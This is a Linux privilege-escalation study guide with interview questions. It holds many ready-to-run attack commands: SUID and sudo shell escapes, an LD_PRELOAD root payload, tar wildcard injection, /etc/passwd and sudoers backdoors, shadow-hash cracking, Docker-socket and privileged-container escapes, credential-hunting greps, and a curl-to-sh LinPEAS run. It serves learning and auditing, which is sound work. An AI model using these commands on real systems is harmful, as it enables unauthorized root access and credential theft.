Linux Privilege Escalation
Breadth layernotes-security-core-knowledge.md Also see: Linux Exploits & Mythos · Linux Hardening
Methodology
1. Who am I? id, whoami, groups
2. What's the OS? uname -a, cat /etc/os-release
3. What can I run? sudo -l
4. SUID binaries? find / -perm -4000 2>/dev/null
5. Interesting files? world-writable dirs, cron jobs, config files with creds
6. Capabilities? getcap -r / 2>/dev/null
7. Services? ps aux, ss -tlnp, check /etc/init.d and systemd units
8. Network? hostname, /etc/hosts, ip route
9. Kernel version? uname -r → check against known exploitsTools
automated; outputs colour-coded findings; run first for speed
simpler script; good for understanding what's being checked
(gtfobins.github.io) — lookup any binary to find privesc/escape techniques
Information Gathering
# Current user context
id # uid, gid, groups
sudo -l # what sudo rights do I have?
cat /etc/passwd # all users (look for uid=0 entries besides root)
cat /etc/group # group memberships
# OS and kernel
uname -a # kernel version
cat /etc/os-release
cat /proc/version
# Network
hostname -I
ip route
ss -tlnp # listening TCP ports
cat /etc/hosts
# Processes running as root
ps aux | grep "^root"
# Scheduled jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
systemctl list-timers
# Installed software versions
dpkg -l # Debian
rpm -qa # RHEL
pip list # Python packagesSUID / SGID Binaries
SUID (Set User ID) — binary executes as the owner (often root) regardless of who runs it.
Memory hookSUID = "run as the owner, not as you." Normally a program runs with your privileges. The SUID bit (the
sin-rwsr-xr-x) flips that: it runs as the file's owner, usually root. That's legitimately needed for tools likepasswd(which must edit root-owned/etc/shadow), but it means any SUID-root binary that can be tricked into running your command gives you root. That's the entire premise of GTFOBins — a catalog of "if this ordinary binary is SUID/sudo, here's the one-liner to pop a root shell." The defender's takeaway: audit your SUID inventory (find / -perm -4000) — every entry is a potential root path, so the list should be short and boring.
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
# Common exploitable SUID binaries (GTFOBins)
/usr/bin/find
/usr/bin/vim
/usr/bin/nmap
/usr/bin/python
/usr/bin/awk
/usr/bin/less
/usr/bin/man
/usr/bin/cp
/usr/bin/mvExploitation examples
# find with SUID
/usr/bin/find . -exec /bin/sh -p \; -quit
# -p: don't drop privileges; shell inherits SUID root
# vim with SUID
vim -c ':!/bin/sh'
# python with SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# nmap with SUID (older versions with --interactive)
nmap --interactive
!sh
# cp with SUID — overwrite /etc/passwd
echo 'root2::0:0:root:/root:/bin/bash' >> /tmp/passwd
/usr/bin/cp /tmp/passwd /etc/passwd
su root2 # no password needed (empty)Sudo Misconfigurations
sudo -l
# Key patterns to look for:
# (ALL) NOPASSWD: /usr/bin/vim → run vim as root, get shell
# (ALL) NOPASSWD: ALL → full root access
# (root) NOPASSWD: /usr/bin/python3 → run python as root
# (ALL : ALL) ALL → run anything as anyoneGTFOBins sudo escalation examples
# sudo vim
sudo vim -c ':!/bin/bash'
# sudo python3
sudo python3 -c 'import os; os.system("/bin/bash")'
# sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
# sudo less / man (invokes pager, then shell)
sudo less /etc/passwd
!/bin/bash
# sudo find
sudo find / -exec /bin/bash \; -quit
# sudo bash / sh (trivial)
sudo bash
# sudo env (execute with modified environment)
sudo env /bin/bash
# sudo tee (write files as root — overwrite /etc/sudoers, crontab, etc.)
echo "attacker ALL=(ALL) NOPASSWD:ALL" | sudo tee /etc/sudoers.d/attacker
# sudo systemctl (create and start a service)
# create /tmp/evil.service, then:
sudo systemctl link /tmp/evil.service
sudo systemctl start evil.serviceLD_PRELOAD + sudo (if env_keep+=LD_PRELOAD in sudoers):
// evil.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}gcc -fPIC -shared -o /tmp/evil.so evil.c -nostartfiles
sudo LD_PRELOAD=/tmp/evil.so find # any allowed sudo commandCron Jobs
Cron jobs running as root that reference writable files or paths are a classic privesc vector.
# View all cron jobs
crontab -l # current user
sudo crontab -l # root's crontab (if you can sudo -l to run sudo)
cat /etc/crontab
ls -la /etc/cron.*
cat /var/spool/cron/crontabs/*
# Watch for jobs being run
pspy64 # monitors process creation without root; catches cron executionAttack patterns
Writable script called by cron
bashcat /etc/crontab # * * * * * root /opt/scripts/backup.sh ls -la /opt/scripts/backup.sh # writable by current user? echo 'chmod +s /bin/bash' >> /opt/scripts/backup.sh # Wait for cron to run → /bin/bash is now SUID root /bin/bash -p # -p: preserve privilegesWritable directory in PATH before cron's script:
bash# /etc/crontab contains PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin # Cron job: * * * * * root cleanup # If /usr/local/bin is writable: echo '#!/bin/bash\nchmod +s /bin/bash' > /usr/local/bin/cleanup chmod +x /usr/local/bin/cleanupWildcard injection with tar/rsync
bash# Cron: * * * * * root cd /backups && tar czf backup.tar.gz * # Create files with names that are tar flags: echo "" > /backups/--checkpoint=1 echo "" > '/backups/--checkpoint-action=exec=sh shell.sh' echo '#!/bin/bash\nchmod +s /bin/bash' > /backups/shell.sh # tar will interpret filenames as command-line options
Writable Files and Paths
# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys
# World-writable directories (better — can drop new files)
find / -writable -type d 2>/dev/null | grep -v proc
# Files owned by current user with interesting names
find / -user $(whoami) 2>/dev/null | grep -v proc
# .service files writable (can modify commands run by systemd)
find / -name "*.service" -writable 2>/dev/null
# Interesting writable files
/etc/passwd # if writable, add a root user with no password
/etc/crontab # add cron job as root
/etc/sudoers # add sudo rule for yourself
/root/.ssh/authorized_keys # add your public key if /root/.ssh is writable
~/.bashrc / ~/.bash_profile # if you can write to root's shell configOverwrite /etc/passwd if writable
# Generate password hash
openssl passwd -1 -salt salt evil_password
# $1$salt$hash
# Append root-equivalent user
echo 'attacker:$1$salt$hash:0:0:Attacker:/root:/bin/bash' >> /etc/passwd
su attacker # enter: evil_password → root shell📖Clarification —
passwdvsshadow, and what an attacker does with each. These two files are the heart of Linux local auth, and the distinction is the whole game.
/etc/passwdis world-readable (anyone cancatit). Each line isname:x:UID:GID:comment:home:shell. Thexmeans "the real hash is over in/etc/shadow." The field that matters most is the UID: the kernel decides "are you root?" purely byUID == 0— not by the name. So an account literally calledattackerwith UID 0 is root. That's why a writable/etc/passwdis instant game over: append a UID-0 line and you've minted a root login. (Historic trick: leave the password field empty —attacker::0:0:...— and the account has no password; modern logins often refuse empty passwords, hence the hash above.)
/etc/shadowis root-only (mode640, groupshadow) and holds the actual hashes:name:$id$salt$hash:lastchanged:.... The$id$prefix names the algorithm —$1$=MD5 (ancient, cracks instantly),$5$=SHA-256,$6$=SHA-512 (long the common default),$y$=yescrypt (the modern default on newer distros).So what can you do once you can READ
/etc/shadow? The hashes are one-way, so you don't get passwords directly — but you can crack them offline, on your own GPU rig, with no rate limit and no account lockout (the things that stop online guessing simply don't exist offline). Weak or reused passwords fall in seconds; a strong yescrypt password may never fall. The payoff: cracking is invisible to the victim and recovers the plaintext, which often unlocks other systems via password reuse and survives the victim rotating the hash. Standard workflow:bashunshadow /etc/passwd /etc/shadow > hashes.txt # John tool: merges the two files into one crackable file john --wordlist=rockyou.txt hashes.txt # or: hashcat -m 1800 hashes.txt rockyou.txt (1800 = sha512crypt $6$) john --show hashes.txt # print the cracked plaintext passwordsAny read counts — a misconfigured
cap_dac_read_searchbinary (see thetartrick below), a stray/etc/shadow.bak, a container that bind-mounts host/etc, or an old backup. And if you can WRITE shadow/passwd, skip cracking entirely: overwrite root's hash with one you know. Read = crack offline; write = instant root.
Linux Capabilities
Capabilities split root privileges into discrete units. A binary with a dangerous capability can escalate privileges without being SUID.
Memory hookcapabilities = root, sliced into ~40 pieces. Historically a process was either root (can do everything) or not. Capabilities break "everything" into discrete powers — bind low ports (
CAP_NET_BIND_SERVICE), sniff packets (CAP_NET_RAW), become any user (CAP_SETUID), bypass file permissions (CAP_DAC_OVERRIDE). The intent is least privilege: give a web server justCAP_NET_BIND_SERVICEinstead of full root. The trap: some single capabilities are effectively root anyway —CAP_SYS_ADMIN("the new root"),CAP_SETUID,CAP_SYS_PTRACE,CAP_DAC_OVERRIDE. So when auditing, a capability isn't automatically "safe because it's not full root" — several of them are a one-line path to root. Find them withgetcap -r /.
# Find binaries with capabilities set
getcap -r / 2>/dev/nullDangerous capabilities
| Capability | Danger |
|---|---|
cap_setuid+ep | Can call setuid(0) → become root |
cap_net_raw+ep | Raw packet access → sniff network |
cap_sys_admin+ep | Very broad; can mount filesystems, load kernel modules |
cap_sys_ptrace+ep | Trace other processes → read memory, inject code |
cap_dac_override+ep | Bypass file read/write/exec permissions |
cap_chown+ep | Change file ownership |
Exploitation examples
# python3 with cap_setuid
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
# perl with cap_setuid
perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash"'
# vim with cap_setuid (rare but seen)
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash")'
# tar with cap_dac_read_search — read any file
tar -cvf /tmp/shadow.tar /etc/shadow # cap_dac_read_search = "bypass read permission checks", so tar
cat /tmp/shadow.tar | strings | grep -A1 root # can slurp root-only /etc/shadow → then crack offline (box above)Memory hookWhy
cap_dac_read_searchis dangerous even though it's "only read." It bypasses every file-read permission check on the system. You can't write anything — but you can read every secret on the box:/etc/shadow, root's SSH private keys, TLS keys,/proc/<pid>/environof other processes (often holding DB passwords and API tokens). Read access to the right secret is the privilege escalation — you don't need write.
Weak Service Configurations
# Find services running as root
ps aux | grep "^root"
systemctl list-units --type=service --state=running
# Check permissions on service binaries
ls -la /usr/bin/servicename
ls -la /opt/custom_service/
# Check unit file content
systemctl cat servicename | grep ExecStart
# Can you restart the service?
systemctl restart servicename # or check if it auto-restartsAttack: writable service binary or config
# If the binary is writable:
cp /bin/bash /opt/service/servicebinary
chmod +s /opt/service/servicebinary
# If the service config is writable:
# Modify ExecStart to point to a malicious binary, then restartAttack: weak file permissions on socket or PID file
Credential Hunting
# Config files with passwords
grep -r "password" /etc/ 2>/dev/null
grep -r "passwd" /var/www/html/ 2>/dev/null
grep -r "DB_PASS\|DB_PASSWORD\|database_password" /var/www/ 2>/dev/null
# SSH private keys
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null
cat ~/.ssh/id_rsa
# History files (commands with passwords typed in-line)
cat ~/.bash_history
cat ~/.zsh_history
cat /root/.bash_history # if readable
# .env files
find / -name ".env" -type f 2>/dev/null | xargs cat 2>/dev/null
# Web application configs
find / -name "wp-config.php" -o -name "config.php" -o -name "database.yml" 2>/dev/null | xargs cat 2>/dev/null
# Saved browser credentials
find / -name "Login Data" 2>/dev/null # Chrome credentials DBKernel Exploits
Use as a last resort — high risk of crashing the system.
# Check kernel version
uname -r
cat /etc/os-release
# Search for exploits
searchsploit linux kernel 4.4 # searchsploit from exploitdbNotable kernel exploits
| CVE | Name | Affected | Description |
|---|---|---|---|
| CVE-2016-5195 | Dirty COW | Linux < 4.8.3 | Race condition in copy-on-write; write to read-only mappings |
| CVE-2021-4034 | PwnKit | polkit < 0.120 | Memory corruption in pkexec; local root on all major distros |
| CVE-2022-0847 | Dirty Pipe | Linux 5.8–5.16 | Overwrite read-only files via pipe splicing |
| CVE-2021-3156 | Baron Samedit | sudo < 1.9.5p2 | Heap overflow in sudo; local root without being in sudoers |
# Check if vulnerable to PwnKit
dpkg -l policykit-1 # check version
# Exploit: download poc, compile, run ./pwnkit
# Dirty Pipe check
uname -r # 5.8 to 5.16.11, 5.15.25, 5.10.102Container Escapes
If you're inside a container, these paths may lead to the host.
Memory hookthe container shares the host's kernel, so "escape" = reach the kernel or a host resource. A container isn't a VM; it's just an isolated process on the host kernel. So escapes come from anything that punches through that thin isolation: a
--privilegedcontainer (capabilities + device access ≈ root on host), a mounted docker socket (/var/run/docker.sock= "ask the host's Docker daemon to run a container mounting/"), a hostPath mount of/, or a kernel exploit (one kernel, shared by all). Mnemonic: privileged, socket, hostPath, kernel — the four doors out of a container. The defensive flip side is the Linux production primer's rules: non-root, drop caps, no privileged, no socket mount.
# Am I in a container?
cat /proc/1/cgroup | grep docker
ls /.dockerenv
cat /proc/self/status | grep CapEff # high value = privileged container
# Check if privileged
capsh --print | grep Current
# If cap_sys_admin is present → likely privileged containerPrivileged container escape
# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host # or whichever block device is the host root
chroot /mnt/host
# Or: create a cron job on the host filesystem
echo '* * * * * root chmod +s /bin/bash' >> /mnt/host/etc/crontabDocker socket escape (/var/run/docker.sock):
# If the container has the Docker socket mounted:
ls -la /var/run/docker.sock
# Run a privileged container mounting the host root
docker run -it -v /:/mnt/host ubuntu:latest chroot /mnt/host
# → root on the hostNFS and Shared Filesystems
# Check NFS shares
showmount -e <target>
cat /etc/exports
# If no_root_squash is set, root on a client = root on the share
# Mount and create SUID binary
mount -t nfs target:/share /mnt/nfs
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash
# On target: /share/bash -p → rootAutomated Enumeration Tools
# LinPEAS (comprehensive, colour-coded)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or: upload and run
chmod +x linpeas.sh && ./linpeas.sh 2>/dev/null | tee /tmp/linpeas.out
# LinEnum (simpler, educational)
chmod +x LinEnum.sh && ./LinEnum.sh
# pspy (process monitoring without root)
./pspy64 # watch for cron jobs and process creation in real time
# sudo_killer (sudo misconfig finder)
./sudo_killer.shInterview Questions and Answers
A SUID (Set-User-ID) binary runs with the file owner's UID — usually root — regardless of who executes it. Any SUID binary that allows code execution (launching a shell, running an arbitrary command, writing files) can be used to gain root. For example, find . -exec /bin/sh \; -quit as root if find has SUID. GTFOBins catalogs exploitation paths for hundreds of common binaries. Find them with: find / -perm -4000 -type f 2>/dev/null.
sudo -l lists the commands the current user may run as another user (root by default). Look for: NOPASSWD (no password required), editors/interpreters (vim, python, less, awk, perl) which allow shell escapes, file copy tools (cp, tee) which can overwrite /etc/sudoers or /etc/passwd, and (ALL) ALL (effectively full root). Also check /etc/sudoers and /etc/sudoers.d/ directly if readable.
A cron job owned by root runs a script in a world-writable directory (e.g., /tmp/cleanup.sh). An attacker appends a payload to the script — on the next cron run it executes as root. Alternatively, if a root cron uses tar with a wildcard (tar cf /backup *.log), an attacker creates files named --checkpoint-action=exec=malicious.sh in the directory, exploiting tar's wildcard expansion. Conditions: root-owned cron, writable script/target directory, or wildcard in privileged cron command.
Capabilities split root's all-or-nothing privilege into granular units that can be granted to individual processes or binaries. CAP_SYS_ADMIN is effectively root — it covers mounts, namespaces, device access, and many other operations. CAP_NET_RAW allows raw socket operations (packet sniffing, ICMP floods). CAP_DAC_OVERRIDE bypasses all file permission checks. CAP_SYS_PTRACE allows ptrace on any process. Find binaries with capabilities: getcap -r / 2>/dev/null. Any interpreter (python3, perl, vim) with a dangerous capability is exploitable via GTFOBins.
LinPEAS (Linux Privilege Escalation Awesome Script) is a shell script that runs automated enumeration as the current unprivileged user. It checks: OS/kernel version against known CVEs, SUID/GUID binaries, sudo rules (sudo -l), writable cron jobs, weak file permissions in root's PATH or LD_LIBRARY_PATH, credentials in bash history and config files, world-writable directories, running services, Docker/container indicators, NFS exports, and active network services. Color-coded output highlights high-severity findings.
(1) uname -a + cat /etc/os-release — kernel and distro version against public CVEs. (2) sudo -l — any NOPASSWD or editor/interpreter in sudoers. (3) find / -perm -4000 2>/dev/null — SUID binaries vs GTFOBins. (4) cat /etc/crontab && ls /etc/cron.* — writable cron scripts. (5) getcap -r / 2>/dev/null — capabilities. (6) Check $PATH for writable directories. (7) Read bash history, config files for credentials. (8) ls -la /var/run/docker.sock — Docker escape. (9) Check NFS: cat /etc/exports.
Dirty COW (CVE-2016-5195) was a race condition in the Linux kernel's copy-on-write memory handling that allowed a local user to write to read-only memory-mapped files — including /etc/passwd. An attacker could overwrite the root entry or add a new root user without any write permission. Significant because: (1) it was present in the kernel for 11 years (since 2005); (2) required no special privileges — any local user on any unpatched Linux system could exploit it; (3) trivially exploitable PoC was available within hours of disclosure.
If a container has access to /var/run/docker.sock, it can use the Docker API to create new containers. The attack: docker run -v /:/mnt --privileged --rm -it alpine chroot /mnt sh — this mounts the host root filesystem into a new container and opens a shell inside it. You are now root on the host. The Docker socket is the highest-privilege asset on a container host after the kernel itself — any process with access to it effectively has root on the host.
no_root_squash mean in NFS, and why is it dangerous?By default, NFS squashes root access from clients — a client process running as root (UID 0) is mapped to nobody (UID 65534) on the server. no_root_squash disables this: a root process on the NFS client is trusted as root on the server. Exploitation: mount the NFS share from an attacker-controlled machine as root, copy /bin/bash to the share, chmod +s it to set SUID, then execute it from the server — the SUID bash runs as root on the server. Find with: cat /etc/exports | grep no_root_squash.